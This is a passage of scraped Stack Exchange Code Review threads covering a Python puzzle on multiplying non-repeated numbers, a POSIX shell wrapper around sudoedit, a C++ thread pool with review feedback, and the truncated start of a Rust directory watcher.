"Id": "463660",
"Score": "0",
"body": "Nice substitute for the switch statement I might have used in a language providing one, and an alternative to encoding the comparison results and using that as an index. (Nice in only evaluating the product when selected (unless I'm mistaken).)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T10:17:30.123",
"Id": "463701",
"Score": "0",
"body": "I see no use to the `lambda` if you call it immediately. The advantage of only evaluating it when selected is lost by having to construct 6 anonymous functions"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T15:23:43.310",
"Id": "463728",
"Score": "0",
"body": "@MaartenFabré my idea with the lambda's was to make the dictionary constant, and it would be evaluated only once. I don't think it does, when I define the dict outside the function, as a 'constant', I see a speed increase."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T15:25:59.627",
"Id": "463729",
"Score": "0",
"body": "Then I can see the point. To make this more clear, you can move this dictionary definition outside the function body."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T05:06:54.020",
"Id": "463790",
"Score": "3",
"body": "-1. I dislike this so much.. it’s horrible... I would damn the guy who writes this at work. somewhat funny because “thinking outside of the box” but other than that more of a perfect example of how _not_ to write code IMO. I don’t want to see ‘funny code’ at work. Not to the point (what is the meaning of the last false in the fourth row again?), not readable, error prone (switch one of those booleans), implicit stuff (skipping two trues because blablabla) and last but not least: it scales horribly (4 numbers? 5? 6? Have fun with that table and skipping all the cases that can’t occur).."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T20:23:57.927",
"Id": "236552",
"ParentId": "236520",
"Score": "2"
}
},
{
"body": "<p>For greater brevity, you could also solve this puzzle using Python's functional programming tools:</p>\n\n<pre><code>import operator\nfrom collections import Counter\nfrom functools import reduce\n\n\ndef solitary_product(*numbers):\n \"\"\"\n Return the product of the given numbers, ignoring all numbers\n that repeated anywhere.\n \"\"\"\n counts = Counter(numbers)\n distinct_numbers = [n for n in numbers if counts[n] == 1]\n\n return reduce(operator.mul, distinct_numbers, 1)\n\n</code></pre>\n\n<p>This has the added benefit of extending your solution to collections of numbers of arbitrary length instead of just sequence of three numbers. </p>\n\n<p>It is worth noting that this method would likely be less efficient for short sequences of numbers due to the added overhead of additional functions calls and constructing a new collection. However, for longer sequences, this method offers the most ideal performance, and will be much more readable than long if-else chains. </p>\n\n<hr>\n\n<p><strong>Update for Python 3.8:</strong></p>\n\n<p>The <a href=\"https://docs.python.org/3.8/library/math.html\" rel=\"nofollow noreferrer\"><code>math</code></a> module now includes the <a href=\"https://docs.python.org/3/library/math.html#math.prod\" rel=\"nofollow noreferrer\"><code>prod</code></a> function, which can compute the product of the elements in any iterable. Using this new feature, we can implement this solution more briefly as</p>\n\n<pre><code>import math\nfrom collections import Counter\n\n\ndef solitary_product(*numbers):\n \"\"\"\n Return the product of the given numbers, ignoring all numbers\n that repeated anywhere.\n \"\"\"\n counts = Counter(numbers)\n distinct_numbers = [n for n in numbers if counts[n] == 1]\n\n return math.prod(distinct_numbers)\n</code></pre>\n\n<p>Thanks to L.F. for bring this to my attention.</p>\n\n<p>As mentioned in the comments, you could even express this as a one-liner at the expense of readability:</p>\n\n<pre><code>def solitary_product(*numbers):\n return math.prod(n for n, counts in Counter(numbers).items() if counts == 1)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T22:24:18.307",
"Id": "463659",
"Score": "0",
"body": "`operator.mul` is just what I didn't manage to find. The catch is numbers occurring more than once are not to get into the product at all."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T22:30:29.193",
"Id": "463661",
"Score": "0",
"body": "@greybeard You're absolutely right, thanks for catching that. I've updated may answer to exhibit the correct behavior for those cases."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T02:05:51.927",
"Id": "463672",
"Score": "10",
"body": "**This is by far the best answer.** All the others are ad hoc code that handles exactly three numbers; if next week, the program needs to handle a fourth number, the given algorithms would have to be completely rewritten, and would be very complicated. Handling the general case, as this answer does, is always the right way to do it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T03:18:41.890",
"Id": "463673",
"Score": "0",
"body": "You can use `math.prod` instead of reduce + operator.mul."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T04:36:27.337",
"Id": "463674",
"Score": "0",
"body": "@L.F. Thank you for bring that function to my attention! I didn't notice it being slipped into Python 3.8."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T10:29:40.557",
"Id": "463704",
"Score": "1",
"body": "Shouldn't it be `if len(distinct_numbers) == 0:\n return 1` and I would do `distict_numbers = {number for number, count in Counter(numbers).items() if count ==1}`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T11:14:34.497",
"Id": "463707",
"Score": "6",
"body": "Ray Butterworth I disagree, premature generalisation can be just as bad as premature optimization, and should not be encouraged at the expense of clarity and simplicity."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T11:26:42.757",
"Id": "463708",
"Score": "1",
"body": "That test `len(distinct_numbers) == 1` seems pointless and wrong. If we pass `(2, 2, 3)`, then `distinct_numbers` is `{3}` and we want to return `3`, not `1`. I think the test should be `if not distinct_numbers:` instead. Or, just unconditionally insert `1` to the set before invoking `reduce` or `math.prod`. Actually, with `math.prod()`, we can pass an empty iterable, so it's not necessary in that version. Then the function becomes a one-liner: `return math.prod({n for n,c in Counter(numbers).items() if count == 1})`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T11:32:56.253",
"Id": "463710",
"Score": "0",
"body": "The `reduce` version looks similar, but we'd want `reduce(operator.mul, {1}|distinct_numbers)` to inject a `1` into the set"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T13:15:48.897",
"Id": "463715",
"Score": "0",
"body": "@MaartenFabré et al., thank you for your feedback, I agree with all of it. I had meant to remove the length comparison altogether after I edited my recommendation to make use of the `Counter` collection. I'm rather surprised that my response has had just positive response despite such a glaring error."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T14:33:48.733",
"Id": "463723",
"Score": "4",
"body": "@doris, the general case is often simpler and clearer. Code like `if a == b: return 1 if b == c else c` doesn't make what is happening obvious. With code like that it's not obvious that the algorithm properly handles all cases. And think what it would look like if it had to handle 4 numbers. Code that obviously reflects the algorithm, \"*remove duplicates, append 1 to the list, return the product*\", is much easier for anyone to understand, debug, or modify, and gives much more confidence that it actually does what it claims to do. In 90+% of code, efficiency doesn't matter, so add that later."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T14:18:44.173",
"Id": "463863",
"Score": "0",
"body": "`start=1` is the default value of `start`, so it's superfluous, and doesn't improve readability since `math.prod` already implies multiplying the numbers together; the product of no numbers is 1 for the same reason that the sum of no numbers is 0. The one-liner can be simplified to `math.prod(n for n, counts in Counter(numbers).items() if counts == 1)`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T10:49:22.873",
"Id": "463999",
"Score": "0",
"body": "@RayButterworth The general case is rarely simpler or clearer. Special cases allow you to ignore complexity - that's why we use them. Just look at the special and general theories of relativity."
}
],
"meta_data": {
"CommentCount": "13",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T20:43:27.140",
"Id": "236553",
"ParentId": "236520",
"Score": "19"
}
},
{
"body": "<p>For what it's worth, I think your solution is clearer than any of the alternatives posted so far. They are shorter in some cases, but I note that you asked for a <em>better</em> solution, not a shorter one. In this case, I don't believe that brevity is an improvement.</p>\n\n<p>I am not a python programmer, but I can <em>understand</em> your solution. It does what it is supposed to do and it is clear what is happening in each step, and what the result will therefore be. A brief comment at the start of the method explaining what it does might be nice, and perhaps a more descriptive name for the method (although not sure what that would be in this case, since the operation seems rather arbitrary). Other than that, unless other constraints are placed on this method, such as performance, I would not change it. </p>\n\n<p>The only alternative I can see that would be equally readable would be to elide the product variable entirely and simply use return statements, i.e.</p>\n\n<pre><code>if a == b == c:\n return 1\nelif a == b:\n return c\nelif a == c:\n return b\nelif b == c:\n return a\n\nreturn a * b * c\n</code></pre>\n\n<p>However, I do not think this is <em>better</em>, simply different, and as clear. Note that this solution <a href=\"https://stackoverflow.com/questions/4838828/why-should-a-function-have-only-one-exit-point\">has more than one exit point</a>, but it is largely a matter of opinion whether that is a bad thing or not, so I will leave that for you to decide.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T17:57:15.830",
"Id": "463743",
"Score": "8",
"body": "Absolutely. The conditional branches in the OP's code match precisely with the wording of the problem, so it's clear that it does the right thing."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T09:42:09.043",
"Id": "236572",
"ParentId": "236520",
"Score": "29"
}
},
{
"body": "<p>There is no need for the initial <code>product == 0</code></p>\n\n<p>And you can simplify the <code>elif</code> tree with early returns</p>\n\n<pre><code>def solve2(a, b, c):\n if a == b == c:\n return 1\n if a == b:\n return c\n if a == c:\n return b\n if b == c:\n return a\n return a * b * c\n</code></pre>\n\n<p>This makes the intent and logic very clear.</p>\n\n<p>You can use the fact that in python, <code>True</code> and <code>False</code> are used as 1 and 0 in calculations:</p>\n\n<pre><code>def my_product(a, b, c):\n return (\n a ** (a not in {b, c})\n * b ** (b not in {a, c})\n * c ** (c not in {a, b})\n )\n</code></pre>\n\n<p>or </p>\n\n<pre><code>def my_product2(a, b, c):\n return (\n a ** (a != b and a != c)\n * b ** (b != a and b != c)\n * c ** (a != c and b != c)\n )\n</code></pre>\n\n<p>or using the new python 3.8 <a href=\"https://docs.python.org/3.8/library/math.html#math.prod\" rel=\"nofollow noreferrer\"><code>math.prod</code></a></p>\n\n<pre><code>import math\n\n\ndef my_product_math(a, b, c):\n return math.prod(\n (\n a if a not in {b, c} else 1,\n b if b not in {a, c} else 1,\n c if c not in {a, b} else 1,\n )\n )\n</code></pre>\n\n<p>Then you need a few test cases:</p>\n\n<pre><code>test_cases = {\n (2, 3, 5): 30,\n (3, 5, 3): 5,\n (5, 3, 3): 5,\n (3, 3, 3): 1,\n (3, 3, 2): 2,\n}\n</code></pre>\n\n<p>and you evaluate them like this:</p>\n\n<pre><code>[my_product(a,b,c) == result for (a,b,c), result in test_cases.items()]\n</code></pre>\n\n<p>You can even time this:</p>\n\n<pre><code>import timeit\ntimeit.timeit(\n \"[func(a,b,c) == result for (a,b,c), result in test_cases.items()]\",\n globals={\"func\": my_product, \"test_cases\": test_cases},\n)\n</code></pre>\n\n<p>and the all together behind a main guard:</p>\n\n<pre><code>if __name__ == \"__main__\":\n test_cases = {\n (2, 3, 5): 30,\n (3, 5, 3): 5,\n (5, 3, 3): 5,\n (3, 3, 3): 1,\n (3, 3, 2): 2,\n }\n\n methods = [\n solve,\n solve2,\n my_product,\n my_product_math,\n solitary_product,\n solitary_numbers_product,\n solve_graipher,\n solve_kuiken,\n solve_kuiken_without_lambda,\n my_product2,\n ]\n\n for method in methods:\n result = all(\n [\n method(a, b, c) == result\n for (a, b, c), result in test_cases.items()\n ]\n )\n time = timeit.timeit(\n \"[func(a,b,c) == result for (a,b,c), result in test_cases.items()]\",\n globals={\"func\": method, \"test_cases\": test_cases},\n )\n print(f\"{method.__name__}: {result} - {time}\")\n</code></pre>\n\n<p>Which shows that in terms of speed, your method is one of the fastest</p>\n\n<blockquote>\n<pre><code>solve: True - 2.324101332999817\nsolve2: True - 2.386756923000121\nmy_product: True - 6.072235077000187\nmy_product_math: True - 5.299641845999986\nsolitary_product: True - 19.69770133299994\nsolitary_numbers_product: True - 2.4141538469998522\nsolve_graipher: True - 4.152514871999756\nsolve_kuiken: True - 7.715469948999726\nsolve_kuiken_without_lambda: True - 5.158195282000179\nmy_product2: True - 5.210837743999946\n</code></pre>\n</blockquote>\n\n<p>So I would go with the simplification of your original algorithm</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T14:24:21.870",
"Id": "463864",
"Score": "1",
"body": "I think using `elif` is better even when you are returning early, since it makes it more obvious that only one of these branches will execute (without the reader having to check that every block has a `return`). I would even recommend using `else` for the last case."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T14:25:01.167",
"Id": "463865",
"Score": "0",
"body": "That's a matter of preference"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T10:46:42.100",
"Id": "236573",
"ParentId": "236520",
"Score": "9"
}
},
{
"body": "<p>Other solutions seem really clumsy and very hard to read, here is a nice simple way to do this:</p>\n<pre><code>from collections import Counter\n\ndef solve(a, b, c):\n unique = {a, b, c}\n if len(unique) == 1:\n return 1\n if len(unique) == 3:\n return a * b * c\n return Counter((a, b, c)).most_common()[-1][0]\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T14:51:12.440",
"Id": "236587",
"ParentId": "236520",
"Score": "2"
}
},
{
"body": "<p>Here's a solution using dictionaries and mapping (and no additional imports):</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>def solve(a, b, c):\n l = [a, b, c]\n c = lambda x: l.count(x) > 1\n z = [c(v) for v in l] # Replacing the import of Counter\n\n {\n (True, True): 1, \n (False, False): l[0]*l[1]*l[2]\n }.get(map(lambda b: b(z), [all, any]), l[z.index(False)])\n</code></pre>\n\n<p>So, if <code>all</code> elements are equal, the resulting map will be <code>True</code> for <code>all</code> and <code>True</code> for <code>any</code>, if none are equal, it will be <code>False</code> for both. If the <code>get()</code> fails, return the one that has the <code>False</code> index in <code>z</code> list (the list that states, for every element, if there is more than one element of that).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T08:23:57.950",
"Id": "463807",
"Score": "1",
"body": "There is no need for the lambda `c`. 1 letter variable names are very unclear and this method is rather convoluted. `numbers= (a,b,c); lonely= [(numbers.count(number) <1)for number in numbers]; return {\n (True, True): a*b*c,\n (False, False):1\n }.get((any(lonely), all(lonely)), numbers[lonely.index(True)])` is more clear, but still very convoluted"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T21:14:27.147",
"Id": "236608",
"ParentId": "236520",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "236529",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T08:50:54.067",
"Id": "236520",
"Score": "20",
"Tags": [
"python"
],
"Title": "The lonely product"
}
|
236520
|
<h3>This is the second iteration of this question</h3>
<p>A note to start with: the first iteration of this question can be found here:<br />
<a href="https://codereview.stackexchange.com/q/217005/104270">Editing system files in Linux (as root) with GUI and CLI text editors</a></p>
<hr />
<p>As stated in there:</p>
<blockquote>
<p>My intention is to <a href="https://en.wikipedia.org/wiki/POSIX" rel="nofollow noreferrer">POSIX</a>-ly write one generalized function for running various text editors I use for different purposes through <code>sudoedit</code>, i.e. editing files as root safely. Safely = for instance, if a power loss occurs during the file edit; another example could be lost SSH connection, etc.</p>
</blockquote>
<hr />
<p>I come to you now with a possible final solution:</p>
<hr />
<h2><code>sudoedit</code> enhanced</h2>
<pre class="lang-sh prettyprint-override"><code># USAGE: Just source this file into your shell for instance if using Bash, then you can use these files: ~/.bashrc or ~/.bash_aliases
# Please, customize these lists to your preference before using this script!
sudoedit__cli_editor_list='nano vi'
sudoedit__gui_editor_list='gedit emacs xed subl' # VS Code has its own work-around
sudoedit_enhanced_run ()
# Generic function for text editing as root
# the proper, safe, way through `sudoedit`.
# Expected arguments:
# $1 = editor name; obviously mandatory
# $2 = wait option; to avoid this, pass an empty string ('')
# $3, ($4), ... = file(s); at least one file must be given
{
# check the minimum number of arguments
if [ $# -lt 3 ]; then
printf '%b\n' "sudoedit_enhanced_run(): Low number of arguments.\\nExpected: <span class="math-container">\$1 = editor name; \$</span>2 = wait option; <span class="math-container">\$3, (\$</span>4), ... = file(s).\\nPassed $#: $*" >&2
return 1
fi
# let's take a closer look at the first argument, the editor
editor_name=$1
# store an editor alias, if there is any
editor_alias=$( alias "$editor_name" 2> /dev/null )
# remove that alias for now
if [ -n "$editor_alias" ]; then
unalias "$editor_name"
fi
# find out if such editor exists on the system
# and store the first two arguments to variables
editor_path=$( command -v "$editor_name" 2> /dev/null )
wait_option=$2
# if that editor does not return valid path, print error and bail
if ! [ -x "$editor_path" ]; then
printf '%s\n' "sudoedit_enhanced_run(): This editor ('$editor_name') is not installed on this system." >&2
return 1
fi
# if we got here, then both of the things are ok;
# so let's move past the editor and its wait option to the actual files
shift 2
# check if all the files exist, it does not make sense to create a file this way
for file in "$@"; do
if ! [ -f "$file" ]; then
printf '%s\n' "sudoedit_enhanced_run(): This file ('$file') does not exist or it is not a regular file." >&2
return 1
fi
done
# run the editor with one-time SUDO_EDITOR set-up
SUDO_EDITOR="$editor_path $wait_option" sudoedit "$@"
# re-define the editor alias, if there was any, afterward
if [ -n "$editor_alias" ]; then
eval "$editor_alias"
fi
}
# Editor aliases generators / definitions
for cli_editor in $sudoedit__cli_editor_list; do
alias su$cli_editor="sudoedit_enhanced_run $cli_editor ''"
done
for gui_editor in $sudoedit__gui_editor_list; do
alias su$gui_editor="sudoedit_enhanced_run $gui_editor -w"
done
# VS Code specific workaround to work under root
alias sucode="sudo mkdir -p /root/.vscode && sudo code -w --user-data-dir=/root/.vscode"
</code></pre>
<hr />
<p>Already posted on GitHub, whereas I also tried hard to describe the purpose and (in spite it shall be obvious) usage including some example images on <a href="https://git.io/Jvnzq" rel="nofollow noreferrer">the project GitHub page</a>.</p>
|
[] |
[
{
"body": "<h1>Self-review</h1>\n\n<hr>\n\n<h2>comments</h2>\n\n\n\n<p>Comments are very important to future readers, they speed up the comprehension of the whole code. I think I messed up at least one comment, (others pending review):</p>\n\n<ul>\n<li><p>original:</p>\n\n<pre class=\"lang-none prettyprint-override\"><code># let's take a closer look at the first argument, the editor\n</code></pre></li>\n<li><p>suggested:</p>\n\n<pre class=\"lang-none prettyprint-override\"><code># store the first argument, the editor name\n</code></pre></li>\n</ul>\n\n<hr>\n\n\n\n<h2>combine what can be combined</h2>\n\n<p>By combining simple pieces of code, we make it easier to read.</p>\n\n<ul>\n<li><p>original:</p>\n\n<pre class=\"lang-sh prettyprint-override\"><code># store an editor alias, if there is any\neditor_alias=$( alias \"$editor_name\" 2> /dev/null )\n\n# remove that alias for now\nif [ -n \"$editor_alias\" ]; then\n unalias \"$editor_name\"\nfi\n</code></pre></li>\n<li><p>suggested:</p>\n\n<pre class=\"lang-sh prettyprint-override\"><code># store an editor alias; and if there is any, remove it for now\nif editor_alias=$( alias \"$editor_name\" 2> /dev/null ); then\n unalias \"$editor_name\"\nfi\n</code></pre></li>\n</ul>\n\n<hr>\n\n<h2>implement code workaround into the function</h2>\n\n<p>My previous solution does not do any checks for <code>code</code> and also, by doing this we get rid of that <em>alien</em> alias.</p>\n\n<ul>\n<li><p>original:</p>\n\n<pre class=\"lang-sh prettyprint-override\"><code># VS Code specific workaround to work under root\nalias sucode=\"sudo mkdir -p /root/.vscode && sudo code -w --user-data-dir=/root/.vscode\"\n</code></pre></li>\n<li><p>suggested:</p>\n\n<pre class=\"lang-sh prettyprint-override\"><code># run the editor with one-time SUDO_EDITOR set-up\nif [ \"$editor_name\" = code ]; then\n # code specific workaround\n sudo mkdir -p /root/.vscode &&\n sudo code -w --user-data-dir=/root/.vscode \"$@\"\nelse\n # main command generic\n SUDO_EDITOR=\"$editor_path $wait_option\" sudoedit \"$@\"\nfi\n</code></pre></li>\n</ul>\n\n<hr>\n\n<h2>avoid generating editors aliases for which editor is not installed</h2>\n\n<p>My previous solution is generating all editor aliases, no matter if such program is installed on the system, this could have been unpleasant to users.</p>\n\n<ul>\n<li><p>original:</p>\n\n<pre class=\"lang-sh prettyprint-override\"><code>for cli_editor in $sudoedit__cli_editor_list; do\n alias su$cli_editor=\"sudoedit_enhanced_run $cli_editor ''\"\ndone\nfor gui_editor in $sudoedit__gui_editor_list; do\n alias su$gui_editor=\"sudoedit_enhanced_run $gui_editor -w\"\ndone\n</code></pre></li>\n<li><p>suggested:</p>\n\n<pre class=\"lang-sh prettyprint-override\"><code>for cli_editor in $sudoedit__cli_editor_list; do\n if command -v \"$cli_editor\" > /dev/null 2>&1; then\n alias su$cli_editor=\"sudoedit_enhanced_run $cli_editor ''\"\n fi\ndone\nfor gui_editor in $sudoedit__gui_editor_list; do\n if command -v \"$gui_editor\" > /dev/null 2>&1; then\n alias su$gui_editor=\"sudoedit_enhanced_run $gui_editor -w\"\n fi\ndone\n</code></pre></li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T11:53:32.187",
"Id": "236778",
"ParentId": "236530",
"Score": "3"
}
},
{
"body": "<p>This long line:</p>\n\n<pre><code>printf '%b\\n' \"sudoedit_enhanced_run(): Low number of arguments.\\\\nExpected: <span class=\"math-container\">\\$1 = editor name; \\$</span>2 = wait option; <span class=\"math-container\">\\$3, (\\$</span>4), ... = file(s).\\\\nPassed $#: $*\" >&2\n</code></pre>\n\n<p>can easily be made more tractable by separating the lines (since we have <code>\\n</code> in the format string) and by using single quotes where we don't want expansion (avoiding the need to write <code>\\$</code>):</p>\n\n<pre><code># shellcheck disable=SC2016\nprintf '%s\\n' >&2 \\\n 'sudoedit_enhanced_run(): Low number of arguments.' \\\n 'Expected: $1 = editor name; $2 = wait option; $3, ($4), ... = file(s).' \\\n \"Passed $#: $*\"\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T09:26:56.223",
"Id": "464235",
"Score": "0",
"body": "It's not actually concatenating them: it's just re-using the same format string for 3 sets of arguments (only one in each set here, of course). It does look strange when you're used to C's `printf`, but it's really useful. I don't know of a specific name, though."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T17:31:58.767",
"Id": "236800",
"ParentId": "236530",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "236778",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T11:21:58.897",
"Id": "236530",
"Score": "1",
"Tags": [
"linux",
"posix",
"sh",
"text-editor"
],
"Title": "Editing system files in Linux (as root) with GUI and CLI text editors #2"
}
|
236530
|
<p>I've been reading about thread pools in C++ for a few days now and decided to roll out my own. I mainly intend to use it to learn how to implement parallel algorithms at some point in the future but before that I have to know if there's something I can do to make it more efficient.</p>
<p>These are all the variables I'm using. I decided to put everything inside its own namespace and make the <code>std::condition_variable</code> (responsible for pausing the main thread) static because there's really no need for every <code>thread_pool</code> object to have a copy of it.</p>
<pre><code>namespace async {
static std::condition_variable main_thread_cv;
template <size_t Size>
class thread_pool {
private:
std::mutex mutex_m;
std::atomic<int> busy_m;
std::condition_variable pool_cv_m;
std::array<std::thread, Size> workers_m;
std::queue<std::function<void()>> task_queue_m;
bool should_terminate_m;
void thread_loop();
public:
thread_pool();
~thread_pool();
thread_pool(const thread_pool& other) = delete;
thread_pool(const thread_pool&& other) = delete;
thread_pool& operator=(const thread_pool& other) = delete;
thread_pool& operator=(const thread_pool&& other) = delete;
void wait();
template <typename Fn, typename... Args> void enqueue(Fn&& function, Args&&... args);
};
...
}
</code></pre>
<p>This is the thread loop executed by all of the worker threads. </p>
<pre><code>template<size_t Size>
void thread_pool<Size>::thread_loop() {
thread_local std::function<void()> task;
for (;;) {
{ std::unique_lock<std::mutex> lock(mutex_m);
pool_cv_m.wait(lock, [this]() { return !task_queue_m.empty() || should_terminate_m; });
if (should_terminate_m) {
break;
}
task = task_queue_m.front();
task_queue_m.pop();
}
busy_m++;
task();
busy_m--;
main_thread_cv.notify_one();
}
}
</code></pre>
<p>ctor and dtor:</p>
<pre><code>template<size_t Size>
thread_pool<Size>::thread_pool() {
busy_m = 0;
should_terminate_m = false;
for (auto& thread : workers_m) {
thread = std::thread([this]() { thread_loop(); });
}
}
template<size_t Size>
thread_pool<Size>::~thread_pool() {
busy_m = 0;
should_terminate_m = true;
pool_cv_m.notify_all();
for (auto& thread : workers_m) {
thread.join();
}
}
</code></pre>
<p>The <code>wait</code> and <code>enqueue</code> functions:</p>
<pre><code>template<size_t Size>
void thread_pool<Size>::wait() {
{ std::unique_lock<std::mutex> lock(mutex_m);
main_thread_cv.wait(lock, [this]() { return busy_m == 0 && task_queue_m.empty(); });
}
}
template<size_t Size>
template<typename Fn, typename ...Args>
void thread_pool<Size>::enqueue(Fn&& function, Args&& ...args) {
{ std::scoped_lock<std::mutex> lock(mutex_m);
task_queue_m.push(std::bind(std::forward<Fn>(function), std::forward<Args>(args)...));
pool_cv_m.notify_one();
}
}
</code></pre>
|
[] |
[
{
"body": "<h1>Ensure the mutex is locked when changing <code>should_terminate_m</code></h1>\n\n<p>In the destructor, you should hold the mutex locked while changing <code>should_terminate_m</code>. It may work as it is in this particular case, but in general, if you hold a mutex while accessing a variable anywhere in the code (it's held in <code>thread_loop()</code> while reading it), you should hold the mutex everywhere you access it. This avoids unexpected behavior.</p>\n\n<h1>Stick with either <code>std::unique_lock</code> or <code>std::scoped_lock</code></h1>\n\n<p>You use both types of locks in the code. While functionally it should be perfectly fine, it's weird to mix these two. Be consistent and use only one of them. I recommend sticking with <code>std::scoped_lock</code> if you don't mind not being compatible with pre-C++17 compilers.</p>\n\n<h1>Issues with <code>wait()</code></h1>\n\n<p>One issue I see is that in order to support the <code>wait()</code> member function, you have a reference counter <code>busy_m</code>, and you have to notify the condition vairable <code>pool_cv_m</code> every time a task finishes. This adds overhead even if nothing is actually calling <code>wait()</code>, but more importantly, because you use <code>main_thread_cv.notify_one()</code>, if multiple threads are calling <code>wait()</code>, then the notification might go to the wrong thread.</p>\n\n<p>Another issue is that if jobs are enqueued often enough that the queue is never empty, <code>wait()</code> never returns, even though all jobs that were enqueued before <code>wait()</code> was called did finish.</p>\n\n<p>You could indeed make it explicit that only the main thread is allowed to enqueue jobs and call <code>wait()</code>, but that might limit the usefulness of this thread pool somewhat.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T01:08:01.150",
"Id": "463668",
"Score": "0",
"body": "Thanks for the reply. I decided to just make the `should_terminate_m` atomic to not worry about locking it and replace the `std::scoped_lock` with `std::unique_lock` because the condition_variable wouldn't let me use the former. I do not understand how `wait()` never returning is a problem in this scenario though. The tasks must be queued up before calling the `wait()` function so it not ever returning unless the queue gets empty and nothing is being done by the threads would mean it works as expected."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T07:12:33.950",
"Id": "463678",
"Score": "1",
"body": "Making `should_terminate_m` atomic does not help here. You must ensure access to `should_terminate_m` is done while `mutex_m` is held to ensure proper synchronization with `pool_cv_m`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T09:02:01.997",
"Id": "463688",
"Score": "0",
"body": "Ah, right. Didn't think about it, ty"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T23:04:10.840",
"Id": "236561",
"ParentId": "236535",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T12:50:35.180",
"Id": "236535",
"Score": "2",
"Tags": [
"c++",
"multithreading",
"c++17"
],
"Title": "C++ Fixed-size general-purpose thread pool"
}
|
236535
|
<p>hello guys i made a file watcher in rust using notify crate that watches a directory and if it detects file changes it will copy all of the files within the directory to another directory,i wanted you guys to do a code review, im a beginner in rust here is the code.</p>
<pre><code>use notify::DebouncedEvent::{
Chmod, Create, Error, NoticeRemove, NoticeWrite, Remove, Rename, Rescan, Write,
};
use notify::{watcher, RecursiveMode, Watcher};
use std::env;
use std::ffi::OsString;
use std::fs::{self};
use std::path::PathBuf;
use std::sync::mpsc::channel;
use std::time::Duration;
fn main() {
println!("Hello, world!");
let read_path = match env::args().nth(1) {
Some(text) => text,
None => {
println!("sorry you didnt provide the read path in the arguments.");
return;
}
};
let write_path = match env::args().nth(2) {
Some(text) => text,
None => {
println!("sorry you didnt provide the write path in the arguments.");
return;
}
};
println!("READ:{},WRITE:{}", read_path, write_path);
let _path = String::from(&read_path);
let (sender, channel) = channel();
let mut watcher = watcher(sender, Duration::from_millis(500)).unwrap();
watcher.watch(read_path, RecursiveMode::Recursive).unwrap();
loop {
match channel.recv() {
Ok(event) => match event {
NoticeWrite(path) => println!("NoticeWrite:{:?}", path),
NoticeRemove(path) => println!("NoticeRemove:{:?}", path),
Create(_path) => {}
Chmod(path) => println!("Chmod:{:?}", path),
Error(err, path) => println!("Error:{:?},path:{:?}", err, path),
Remove(_path) => {}
Rename(_old_path, _new_path) => {}
Write(path) => {
println!("Write: {:?}", path);
read_directory(PathBuf::from(&_path), &write_path, &_path);
}
Rescan => println!("Rescan: Directory is now being rescanned"),
},
Err(e) => println!("watch error {:?}", e),
}
}
}
fn read_directory(path: PathBuf, write_path: &String, read_path: &String) {
let items = fs::read_dir(&path).unwrap();
let compare_path = &path.into_os_string().into_string().unwrap();
let new_path = &compare_path.replace("\\", "/");
let dir_path: Option<&String> = if compare_path != read_path {
let s = new_path;
Some(s)
} else {
None
};
for entry in items {
